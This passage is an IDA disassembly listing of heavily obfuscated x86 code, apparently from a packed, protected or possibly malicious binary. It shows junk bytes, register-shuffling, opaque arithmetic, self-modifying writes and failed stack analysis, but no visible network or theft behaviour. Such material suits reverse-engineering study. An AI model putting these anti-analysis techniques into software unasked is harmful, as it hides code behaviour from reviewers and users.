loc_7804D5:				; CODE XREF: sub_77F25A+653j
					; sub_781910-CDBj
		push	offset dword_780FC0
		jmp	loc_77FCB8
; END OF FUNCTION CHUNK	FOR sub_781910
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7805C0


loc_7804DF:				; CODE XREF: sub_7805C0:loc_780587j
		xchg	esi, [esp+0]
		xchg	eax, [esp+0]
		mov	esi, eax
		pop	eax
		call	sub_780763
		add	cl, ch
		jno	short loc_780500
; END OF FUNCTION CHUNK	FOR sub_7805C0
; ---------------------------------------------------------------------------
		db 3 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_7804F5:				; CODE XREF: _0xtwbvzc:0077FB39j
		jmp	near ptr dword_77F400+106h
; ---------------------------------------------------------------------------


loc_7804FA:				; CODE XREF: _0xtwbvzc:0077FD81j
		xchg	ebx, [esp]
		pop	ebx
; ---------------------------------------------------------------------------
		dw 0C381h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7805C0


loc_780500:				; CODE XREF: sub_7805C0-D1j
		lahf
		clc
		aas
		int	9Dh		; used by BASIC	while in interpreter
		jmp	loc_7803B7
; END OF FUNCTION CHUNK	FOR sub_7805C0
; ---------------------------------------------------------------------------
		align 4
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0E9h),	0F1h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_781187


loc_780513:				; CODE XREF: sub_781187-16E5j
		jmp	loc_780826
; END OF FUNCTION CHUNK	FOR sub_781187
; ---------------------------------------------------------------------------
		dd 0F5B0000h, 0FFFB7984h, 0F506E9FFh, 0FFFFh, 0FDE92987h
		dd 0FFFFEEh
; ---------------------------------------------------------------------------


loc_780530:				; CODE XREF: _0xtwbvzc:00780B81j
		push	ebx

; =============== S U B	R O U T	I N E =======================================



sub_780531	proc near		; CODE XREF: _0xtwbvzc:00780B0Ep

; FUNCTION CHUNK AT 0077FBB1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 007805A1 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00780F39 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00781046 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 007815A7 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	edx
		mov	edx, offset loc_77F758
		jmp	loc_7815A7
sub_780531	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 78120E68h, 0F775E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_78054A:				; CODE XREF: _0xtwbvzc:loc_7813E6j
		mov	ebp, esp
		push	ebx
		mov	ebx, ecx
		call	loc_78034F
		add	bl, al
		jmp	loc_780636
; ---------------------------------------------------------------------------
		align 4
		dd 27FCCF81h, 0EDC16AD7h, 0F634E90Ah, 0FFFFh, 71E91787h
		dd 5000000Fh, 34DE8h
		db 0
; ---------------------------------------------------------------------------

locret_780579:				; CODE XREF: _0xtwbvzc:00780362j
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_78057C:				; CODE XREF: _0xtwbvzc:loc_77FE1Ej
					; sub_7815C7-9A1j
		jmp	loc_7808D5
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		align 2
		mov	ebp, [edx]
		mov	[ebp+0], ebx
; START	OF FUNCTION CHUNK FOR sub_7805C0


loc_780587:				; CODE XREF: sub_7805C0+4j
		jmp	loc_7804DF
; END OF FUNCTION CHUNK	FOR sub_7805C0
; ---------------------------------------------------------------------------
		dd 0F6810000h, 0BD487D90h, 9752C681h, 0A9E907C7h, 5
					; CODE XREF: _0xtwbvzc:0078117Fj
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_780531


loc_7805A1:				; CODE XREF: sub_780531-96Aj
		rol	eax, 0Fh
		or	eax, 1614F47Eh
		call	sub_77FC00
		jmp	loc_781046
; END OF FUNCTION CHUNK	FOR sub_780531
; ---------------------------------------------------------------------------
		push	edx
		jmp	loc_7811BD
; ---------------------------------------------------------------------------
		sub	eax, 0D62A1E7h

; =============== S U B	R O U T	I N E =======================================



sub_7805C0	proc near		; CODE XREF: _0xtwbvzc:loc_7808E0p

; FUNCTION CHUNK AT 007803B7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 007804DF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00780500 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00780587 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00780CB4 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		jmp	loc_780587
sub_7805C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_7805C9:				; CODE XREF: _0xtwbvzc:0077F75Aj
		xchg	ebx, [esp]
		jmp	loc_780ABF
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h
		dd 685E0000h, 781298h, 708E9h, 0B8000000h, 69270897h, 0FFFE12E9h
		dd 0C30000FFh, 24148700h, 9503685Ah, 0C87BBC1h,	59D98B24h
		dd 3B7DEB81h, 0C3F70E73h, 20h, 0DFE9h, 4FE80000h, 0FFFFEEh
		db 0
; ---------------------------------------------------------------------------


loc_780619:				; CODE XREF: _0xtwbvzc:0077F8B7j
		jmp	locret_7801C5
; ---------------------------------------------------------------------------
		align 10h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_78077A


loc_780623:				; CODE XREF: sub_78077A+8FCj
		jmp	near ptr dword_780028+46h
; END OF FUNCTION CHUNK	FOR sub_78077A
; ---------------------------------------------------------------------------
		dd 0E9D5F700h, 0FA4h, 0B2FE800h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_780636:				; CODE XREF: _0xtwbvzc:00780556j
		jnp	loc_78007D
		sbb	edx, esi
		jmp	loc_78146D
; ---------------------------------------------------------------------------
		align 4
		dd 33E8008Bh, 2
		db 0
; ---------------------------------------------------------------------------


loc_78064D:				; CODE XREF: sub_77F651:loc_780BAAp
		xchg	esi, [esp]
		pop	esi
		add	edx, 733B3663h
		popf
		xor	eax, eax
		call	sub_780D80
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7817BC


loc_780661:				; CODE XREF: sub_7817BC+14j
		jmp	loc_780EAC
; END OF FUNCTION CHUNK	FOR sub_7817BC
; ---------------------------------------------------------------------------


loc_780666:				; DATA XREF: _0xtwbvzc:loc_7809A6o
		mov	byte ptr [ecx],	9Ch
		pop	ecx
		xor	ecx, 1108914h
		push	780129h
		jmp	loc_781036
; ---------------------------------------------------------------------------
		dw 8700h
; ---------------------------------------------------------------------------
		add	al, 24h
		mov	edi, eax
		pop	eax
		push	ebp
		jmp	loc_77F856
; ---------------------------------------------------------------------------
		align 4
		push	eax
		db	2Eh
		push	offset loc_78150D
		jmp	locret_781003
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_780696:				; CODE XREF: sub_7815C7+E7j
					; sub_7815C7+23Bj
		or	edx, 0E41E7AB4h
		and	edx, 7AA2AF08h
		call	loc_7806AD
		add	cl, ch		; CODE XREF: _0xtwbvzc:00781892j
		fucomip	st, st(5)
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		db 0FFh
		db 0FFh
; ---------------------------------------------------------------------------


loc_7806AD:				; CODE XREF: _0xtwbvzc:0077F671j
					; sub_7815C7-F25p
		xchg	eax, [esp]
		pop	eax
		add	edx, 0A0755CCAh


loc_7806B7:				; DATA XREF: _0xtwbvzc:0078196Eo
		sub	al, 14h
		and	al, 0E9h
		push	ss
; ---------------------------------------------------------------------------
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_7806BF:				; DATA XREF: _0xtwbvzc:0077FE2Ao
		push	eax
		mov	eax, edx
		xchg	eax, [esp]
		mov	edx, 78016Fh
		jmp	loc_780C5D
; ---------------------------------------------------------------------------
		align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_256. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0), 0E9h
		dd 0DC9h, 119CE9h
		db 2 dup(0)
word_7806DE	dw 0C6h			; DATA XREF: _0xtwbvzc:loc_78035Do
		dd 0C1C158FCh, 89E1811Ch, 0E978AED7h, 0FFFFF101h, 0EC30840Fh
		dd 0FFFFh
; ---------------------------------------------------------------------------


loc_7806F8:				; CODE XREF: _0xtwbvzc:00780F04j
		jmp	loc_7816F0
; ---------------------------------------------------------------------------
		align 2
		dw 3B8Bh
		dd 0FFEC15E9h
		db 0FFh
; ---------------------------------------------------------------------------

locret_780705:				; CODE XREF: _0xtwbvzc:007811A1j
		retn
; ---------------------------------------------------------------------------
		align 4


loc_780708:				; CODE XREF: _0xtwbvzc:0077F907j
		jmp	locret_77F66E
; ---------------------------------------------------------------------------
		sub	ebx, eax


loc_78070F:				; CODE XREF: _0xtwbvzc:loc_7810C3j
		add	esi, 0B767F3EAh
		xchg	esi, [esp]
		jmp	loc_77F3E4
; ---------------------------------------------------------------------------
		db 0Fh,	88h, 1
		dd 6800000Ah, 780F0Ah, 0FFFC3CE9h, 0A8860FFFh, 0E9000013h
		dd 0FFFFF6B0h, 0ECFCB800h, 0EB812C98h, 0DCF14A0Ch, 87FE9h
		dd 0CE810000h, 6AFDB7AFh, 9B1E9h
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_257. PRESS KEYPAD	"+" TO EXPAND]
		align 4


loc_780758:				; CODE XREF: _0xtwbvzc:0078048Fj
		jmp	loc_77F862
; ---------------------------------------------------------------------------
		jmp	loc_7818EE
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_780763	proc near		; CODE XREF: sub_7805C0-D8p

; FUNCTION CHUNK AT 0077FCEA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007804AE SIZE 00000017 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+0]
		push	421453B1h
		pop	eax
		jmp	loc_77FCEA
sub_780763	endp

; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_78077A	proc near		; CODE XREF: _0xtwbvzc:007802A2p

; FUNCTION CHUNK AT 00780623 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00781070 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		xchg	ecx, [esp+0]
		mov	ebx, ecx
		pop	ecx
		push	4F2D3A42h
		pop	edx
		and	edx, 8786AD22h
		or	edx, 0EA440008h
		jmp	loc_781070
sub_78077A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 0F3C2880Fh, 0E900FFFFh, 10A9h, 23E98B00h, 0F3B2E9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_7807B2:				; DATA XREF: sub_780018+5o
		push	3809ECBAh
		xchg	ebx, [esp]
		mov	eax, ebx
		pop	ebx
		sub	eax, 41914751h
		jmp	loc_780C92
; ---------------------------------------------------------------------------
		dd 98680000h, 0E9007818h, 0C1Bh
; ---------------------------------------------------------------------------


loc_7807D4:				; DATA XREF: sub_780531+B1Bo
		push	44470920h
		pop	esi
		rol	esi, 0Bh
		push	ecx
		jmp	loc_781174
; ---------------------------------------------------------------------------


loc_7807E3:				; CODE XREF: _0xtwbvzc:00780F81j
		xchg	esi, [esp]
		pop	esi
		mov	eax, [eax]
		xchg	eax, [esp]
		push	eax
		jmp	loc_781845
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_78186E


loc_7807F4:				; CODE XREF: sub_78186E+6j
		mov	byte ptr [ebx],	0C1h
		pop	ebx
		add	edx, eax


loc_7807FA:				; DATA XREF: sub_78186E+1o
		cmpsd
		retn	3103h
; END OF FUNCTION CHUNK	FOR sub_78186E
; ---------------------------------------------------------------------------
		db 0C2h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77F98E


loc_7807FF:				; CODE XREF: sub_77F98E:loc_781495j
		dec	ecx
		jnz	loc_7810AF
		call	sub_77F978
		add	cl, ch
		push	8
; END OF FUNCTION CHUNK	FOR sub_77F98E
; ---------------------------------------------------------------------------
		db 0
		dd 0BD2F700h, 0F714E9C7h, 0F700FFFFh, 810EF2C3h, 5B6E9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_781187


loc_780826:				; CODE XREF: sub_781187:loc_780513j
		pop	ebp
		xchg	edi, [esp-4+arg_0]
		push	esi
		mov	esi, 77F2CCh
		jmp	loc_78091B
; END OF FUNCTION CHUNK	FOR sub_781187
; ---------------------------------------------------------------------------
		align 2
		dw 6C6h
		dd 24048787h, 0E958F08Bh, 0FFFFF043h, 0C0C10000h, 0E4C08108h
		dd 0F1F8457h, 0FFF87889h, 0EE820FFFh, 68FFFFF2h, 7800D8h
		dd 723E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77F93B


loc_780867:				; CODE XREF: sub_77F93B:loc_7808F8j
		add	edx, 79FCA4h
		jmp	near ptr dword_77F798+77h
; END OF FUNCTION CHUNK	FOR sub_77F93B
; ---------------------------------------------------------------------------

locret_780872:				; CODE XREF: _0xtwbvzc:00781277j
		retn
; ---------------------------------------------------------------------------
		db 0BFh
		db 8, 0C9h
		dw 0BBD9h
		dd 0FFEA2EE9h, 48700FFh, 0C0095824h, 0FC48850Fh, 38E8FFFFh
		dd 52FFFFFCh, 0E0815A58h, 2354DC3Fh, 0F4B1850Fh, 0F00FFFFh
		dd 0FFFFBB8Fh, 87D68BFFh, 0F4A1E906h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------

locret_7808AF:				; CODE XREF: _0xtwbvzc:0077FD70j
		retn
; ---------------------------------------------------------------------------
		dd 7F9E900h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_7808B7:				; DATA XREF: _0xtwbvzc:0077FD6Bo
		add	edx, eax
		push	edx
		mov	edx, offset loc_780F95
		jmp	loc_78095A
; ---------------------------------------------------------------------------
		dd 3487CF23h, 689C5E24h, 780EDB3h, 0FFF916E9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_7808D5:				; CODE XREF: sub_7815C7:loc_78057Cj
		push	offset loc_77F740
		jmp	nullsub_258
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		align 10h


loc_7808E0:				; CODE XREF: _0xtwbvzc:0077F760j
		call	sub_7805C0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_308. PRESS KEYPAD	"+" TO EXPAND]
word_7808E6	dw 2C87h		; DATA XREF: sub_77F978+1BCDo
		dd 0E8F58B24h, 0FFFFEFD6h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77F25A


loc_7808F1:				; CODE XREF: sub_77F25A+191Cj
		jmp	loc_78044B
; END OF FUNCTION CHUNK	FOR sub_77F25A
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_77F93B


loc_7808F8:				; CODE XREF: sub_77F93B+18j
		jmp	loc_780867
; END OF FUNCTION CHUNK	FOR sub_77F93B
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFF575h, 0F12E840Fh, 0BE9FFFFh, 0FFFFFCh
dword_780910	dd 0FFA0058Dh, 0FEE80077h		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_781187


loc_78091B:				; CODE XREF: sub_781187-957j
		jmp	near ptr dword_77F2A0+25h
; END OF FUNCTION CHUNK	FOR sub_781187
; ---------------------------------------------------------------------------
		dd 0B850D68Bh, 77FDDBh,	0FFE949E9h, 890000FFh, 0FB91E908h
		db 2 dup(0FFh),	0

; =============== S U B	R O U T	I N E =======================================



sub_780937	proc near		; CODE XREF: _0xtwbvzc:00780AB2p
		xchg	ecx, [esp+0]
		xchg	ebx, [esp+0]
		mov	ecx, ebx
		pop	ebx
		push	0AA9E4574h
		pop	eax
		jmp	near ptr loc_780AB7+1
sub_780937	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 0F7DD2B00h, 1ACF57C1h, 0F61FE9B3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_78095A:				; CODE XREF: _0xtwbvzc:007808BFj
		mov	byte ptr [edx],	31h
		xchg	esi, [esp]
		mov	edx, esi
		pop	esi
		push	offset byte_781443
		jmp	near ptr dword_77FEDC+4Ch
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
		dd 0EFBB4ADBh, 0F8DAE9D6h, 8100FFFFh, 468CFAF2h, 0E2CA818Fh
		dd 81DCD45Bh, 96BE91EAh, 0A6F281D6h, 0E9617D3Eh, 0FFFFFC99h
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_78099A:				; CODE XREF: _0xtwbvzc:loc_77F5F4j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_7812E1
; ---------------------------------------------------------------------------
		dd 472E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_7809A6:				; CODE XREF: _0xtwbvzc:00780D98j
		push	offset loc_780666
		jmp	loc_7819E0
; ---------------------------------------------------------------------------
		dd 5810F00h, 0C100000Fh, 34870BEDh, 7AE95E24h, 0Fh, 0E9D18500h
		dd 54Fh, 0E39FDA68h, 0EE6E982h,	81000000h, 0A1254EF7h
		dd 10C7C118h, 1EC830Fh,	0
; ---------------------------------------------------------------------------
		cdq
		push	238F715h
		jmp	loc_780BC1
; ---------------------------------------------------------------------------
		align 4
		dd 24148700h, 0E98B555Ah, 68242C87h, 0C1333F18h, 0EAB5E959h
		dd 0F00FFFFh, 0FFF41385h, 0E90000FFh, 0FFFFF7BCh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77F978


loc_780A19:				; CODE XREF: sub_77F978+9j
		jmp	loc_781544
; END OF FUNCTION CHUNK	FOR sub_77F978
; ---------------------------------------------------------------------------
		adc	edx, ecx
		test	ecx, esi
		jmp	loc_77FE1E
; ---------------------------------------------------------------------------
		align 4
		dd 0EE98E999h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

locret_780A2E:				; CODE XREF: _0xtwbvzc:0078022Fj
		retn
; ---------------------------------------------------------------------------
		jmp	loc_7812AB
; ---------------------------------------------------------------------------
		dd 0B4E9D1F7h, 58FFFFF5h, 74F9E881h, 0C081187Eh, 0CAB2BAF6h
		dd 1772F081h, 0B2E92393h, 7
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_305. PRESS KEYPAD	"+" TO EXPAND]
		dw 0E900h
		dd 0FFFFE988h
dword_780A5C	dd 80C015FFh, 91680075h, 0E9007817h, 0FFFFE962h		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_781374


loc_780A6D:				; CODE XREF: sub_781374+Ej
		xchg	eax, [esp+4+var_4]
		push	0F12F78C4h
		pop	ecx
		sub	ecx, 37CA1C65h
		xor	ecx, 84DD457Dh
		add	ecx, 2A06F720h
		or	ecx, 715873DCh
		add	ecx, 8878A2F3h
		jmp	loc_781429
; END OF FUNCTION CHUNK	FOR sub_781374
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_77F522


loc_780A9A:				; CODE XREF: sub_77F522+724j
		pop	ebp
		xchg	ebp, [esp-8+arg_4]
		mov	edi, ebp
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_77F522
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_780AA5:				; CODE XREF: _0xtwbvzc:00780C12j
		sbb	ebp, 4CBBE678h
		jbe	loc_78038E


loc_780AB1:				; CODE XREF: _0xtwbvzc:007802ECj
		push	eax
		call	sub_780937


loc_780AB7:				; CODE XREF: sub_780937+Fj
		add	cl, ch
		mov	esp, 0Eh
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_780ABF:				; CODE XREF: _0xtwbvzc:007805CCj
		jmp	loc_78109E
; ---------------------------------------------------------------------------
		dd 0ADE80000h, 0Ah
		db 0
byte_780ACD	db 81h,	0C0h, 0E3h	; DATA XREF: _0xtwbvzc:007813CDo
		dd 0E8588AA7h, 3ACh, 0EBC10000h, 0F937E912h, 0FFFFh, 0DDECF081h
		dd 0C881CED4h, 0E5EEF75Dh, 99B2F881h, 0A6E93034h, 0FFFFFEh
		dd 0AA0BD181h, 7DE98D76h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_780B07:				; CODE XREF: _0xtwbvzc:00781508p
		xchg	esi, [esp]
		pop	esi
		xchg	eax, [esp]
		call	sub_780531
; ---------------------------------------------------------------------------
		db 0
		dd 0C300h
; ---------------------------------------------------------------------------

locret_780B18:				; CODE XREF: _0xtwbvzc:loc_77F928j
		retn
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_7811D4


loc_780B1A:				; CODE XREF: sub_7811D4+9j
		popf
		push	offset loc_7801B2
		jmp	nullsub_314
; END OF FUNCTION CHUNK	FOR sub_7811D4
; ---------------------------------------------------------------------------
		align 2
		adc	edi, 0D7E00698h
		sub	ecx, 209A7A8Ch
		jmp	loc_77FECA
; ---------------------------------------------------------------------------
		align 4
		dd 5CE9FE1Bh, 0FFFFF3h
; ---------------------------------------------------------------------------

locret_780B40:				; CODE XREF: _0xtwbvzc:0077FD63j
		retn
; ---------------------------------------------------------------------------
		align 2
		dw 0FFE9h
		dd 0FFFFFCh, 0FFFAC5E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_780B4E:				; CODE XREF: _0xtwbvzc:007801BFj
		jmp	loc_77FA72
; ---------------------------------------------------------------------------
		align 4
		dd 33EE900h, 9D000000h,	0FFEAF0E9h, 0D0F700FFh,	0FFEFC9E9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77F25A


loc_780B69:				; CODE XREF: sub_77F25A+5j
		xchg	edx, [esp+0]
		pop	edx
		xchg	ecx, [esp-4+arg_0]
		xchg	eax, [esp-4+arg_0]
		mov	ecx, eax
		pop	eax
		jmp	loc_7808F1
; END OF FUNCTION CHUNK	FOR sub_77F25A
; ---------------------------------------------------------------------------
		add	ecx, 0F1A3741Eh
		jmp	loc_780530
; ---------------------------------------------------------------------------
		align 4

locret_780B88:				; CODE XREF: _0xtwbvzc:0077FC23j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
byte_780B8B	db 56h			; DATA XREF: _0xtwbvzc:0077FC1Eo
		dd 0FFE7B2E8h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_780FE8


loc_780B91:				; CODE XREF: sub_780FE8+Dj
		or	esi, 0F592FE52h
		sub	esi, 0CB4A6906h
		add	esi, 0CBC374ECh
		jmp	loc_77FFAE
; END OF FUNCTION CHUNK	FOR sub_780FE8
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77F651


loc_780BAA:				; CODE XREF: sub_77F651:loc_77F989j
		call	loc_78064D
; END OF FUNCTION CHUNK	FOR sub_77F651
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77FDBF


loc_780BB1:				; CODE XREF: sub_77FDBF+Bj
		mov	ebp, esp
		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp-4+arg_0]
		push	ecx
		push	ebx
		jmp	near ptr word_77FAEE+1
; END OF FUNCTION CHUNK	FOR sub_77FDBF
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_780BC1:				; CODE XREF: _0xtwbvzc:007809EEj
		jns	loc_780F7B
		mov	esi, 0F238C1E7h
		jno	loc_78044E
		add	edi, 5AEABBA2h
		and	ch, bh
		push	esi
		jmp	loc_78132C
; ---------------------------------------------------------------------------
		dd 241C8700h, 3D689D5Bh, 0E9007810h, 0FFFFF5F5h, 0EF2B0000h
		dd 1AE9EF3Bh, 0FFFFEFh,	6A6800C3h, 0E90077F9h, 0FFFFE7CDh
		db 0
; ---------------------------------------------------------------------------


loc_780C09:				; CODE XREF: _0xtwbvzc:007802F2j
		mov	ebp, [eax]
		sub	esi, 3B87B111h
		push	edi
		jmp	loc_780AA5
; ---------------------------------------------------------------------------
		xchg	ecx, [esp]
		retn
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFF62Bh
		db 0, 8Bh, 10h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_780C23:				; CODE XREF: sub_7815C7:loc_7815ECj
		add	eax, 4
		jmp	loc_78057C
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_781910


loc_780C2C:				; CODE XREF: sub_781910-AD3j
		add	edi, 0BB3733F5h
		xchg	edi, [esp+0]
		jmp	loc_7804D5
; END OF FUNCTION CHUNK	FOR sub_781910
; ---------------------------------------------------------------------------
		dw 6852h
		dd 0E2622B5Ch, 0FFFDCEE9h, 0EE8100FFh, 6D78B8BFh, 0FFFC2DE9h
		dd 0E80000FFh, 0FFFFF013h, 635E9h
		db 0
; ---------------------------------------------------------------------------


loc_780C5D:				; CODE XREF: _0xtwbvzc:007806CAj
		mov	byte ptr [edx],	0C3h
		pop	edx
		push	780166h
		jmp	locret_77FBD8
; ---------------------------------------------------------------------------
		align 4
		pop	ebx
		push	edi
		pushf
		push	3B909C42h
		pop	edi
		rol	edi, 0Bh
		and	edi, 313A28ECh
		add	edi, 55F6CDh
		jmp	loc_780D10
; ---------------------------------------------------------------------------
		db 2 dup(0)
byte_780C8B	db 0E8h			; DATA XREF: sub_7802A7:loc_780ED8o
		dd 0FFFFF76Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_780C92:				; CODE XREF: _0xtwbvzc:007807C3j
		jmp	near ptr dword_77FE34+1
; ---------------------------------------------------------------------------
		align 4

locret_780C98:				; CODE XREF: _0xtwbvzc:loc_78027Bj
		retn
; ---------------------------------------------------------------------------
		align 2
word_780C9A	dw 6852h		; DATA XREF: _0xtwbvzc:loc_7815B3o
		dd 0B742B3A1h, 1EC2C15Ah, 45C7E281h, 0F4E9699Ch, 0FFFFFAh
		dd 0C300h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7805C0


loc_780CB4:				; CODE XREF: sub_7805C0-204j
		jmp	nullsub_311
; END OF FUNCTION CHUNK	FOR sub_7805C0
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E8h
		dd 6, 0ABFE9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_780CC6:				; CODE XREF: _0xtwbvzc:0078008Cj
		push	77F9E7h
		jmp	loc_78027B
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_780CD2	proc near		; CODE XREF: sub_7815C7-1D97p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00780E60 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0078138C SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	edx
		push	9D5201h
		xchg	ecx, [esp+4+var_4]
		mov	edx, ecx
		jmp	loc_78138C
sub_780CD2	endp

; ---------------------------------------------------------------------------
		dw 0C300h
		dd 0F867E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_780CEE:				; DATA XREF: sub_780FE8:loc_77FFAEo
		mov	byte ptr [esi],	3
		xchg	ecx, [esp]
		mov	esi, ecx
		pop	ecx
		jmp	loc_7812DB
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_780CFE	dw 0C168h		; DATA XREF: sub_77FC00-3E5o
		dd 8771DA6Ah, 0D18B240Ch, 0FC6DE959h, 0FFFFh
; ---------------------------------------------------------------------------


loc_780D10:				; CODE XREF: _0xtwbvzc:00780C84j
		popf
		xchg	edi, [esp]
		jmp	near ptr dword_78055C+17h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_781374


loc_780D19:				; CODE XREF: sub_781374:loc_781429j
		call	near ptr dword_77F8BC+3
		add	cl, ch
		dec	ebp
		hlt
; END OF FUNCTION CHUNK	FOR sub_781374
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_780D26:				; CODE XREF: sub_7815C7+196j
		mov	byte ptr [ebx],	0C3h
		pop	ebx
		xor	eax, 0A08CD15Ch
		call	sub_780D9D


loc_780D35:				; DATA XREF: _0xtwbvzc:00781839o
		push	edx
		push	57A03944h
		xchg	eax, [esp+4+var_4]
		mov	edx, eax
		pop	eax
		jmp	loc_780DD7
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_312. PRESS KEYPAD	"+" TO EXPAND]
		dd 0FF63B900h, 48E90077h, 0E8FFFFFCh, 0FFFFF2F4h, 0CF130000h
		dd 0FBBEE950h, 0F00FFFFh, 0FFE62488h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_780D69	proc near		; CODE XREF: sub_7815C7-50Bp

